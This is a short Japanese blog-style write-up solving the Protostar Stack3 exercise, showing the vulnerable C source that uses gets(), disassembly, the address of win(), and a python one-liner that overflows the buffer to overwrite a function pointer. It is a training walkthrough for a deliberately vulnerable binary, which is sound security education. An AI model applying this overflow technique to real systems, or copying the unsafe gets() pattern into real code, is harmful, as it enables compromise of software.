protostar stack3 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack3を解いたので、そのwriteupを書いていく
### Stack3
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
実行するとこんな感じ
$ ./stack3 AAAA
今回はバッファオーバーフロー脆弱性を利用し関数ポインタであるfpを上書きしwin()を実行させる.
バイナリはこんな感じ
$ objdump -d ./stack3 | grep main\>: -A20 08048438 <main>: 8048438: 55 push ebp 8048439: 89 e5 mov ebp,esp 804843b: 83 e4 f0 and esp,0xfffffff0 804843e: 83 ec 60 sub esp,0x60 8048441: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048448: 00 8048449: 8d 44 24 1c lea eax,[esp+0x1c] 804844d: 89 04 24 mov DWORD PTR [esp],eax 8048450: e8 db fe ff ff call 8048330 <gets@plt> 8048455: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 804845a: 74 1b je 8048477 <main+0x3f> 804845c: b8 60 85 04 08 mov eax,0x8048560 8048461: 8b 54 24 5c mov edx,DWORD PTR [esp+0x5c] 8048465: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 8048469: 89 04 24 mov DWORD PTR [esp],eax 804846c: e8 df fe ff ff call 8048350 <printf@plt> 8048471: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048475: ff d0 call eax 8048477: c9 leave 8048478: c3 ret ||< 見た感じ[esp+0x1c]がbuffer, [esp+0x5c]がfpっぽい. その差は64バイト. 次にwin()のアドレスを探す. これにはnmコマンドを使う. >|bash| $ nm ./stack3 | grep win 08048424 T win
出力を見るに0x08048424にwin()のコードが格納されたアドレスがあるようだ.
ここから64バイト+0x08048424の値を入力すると関数ポイタfpにwin()のアドレスが入ると考えられる.
というわけで実行してみる.
$ python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
成功した
Stack3 おわり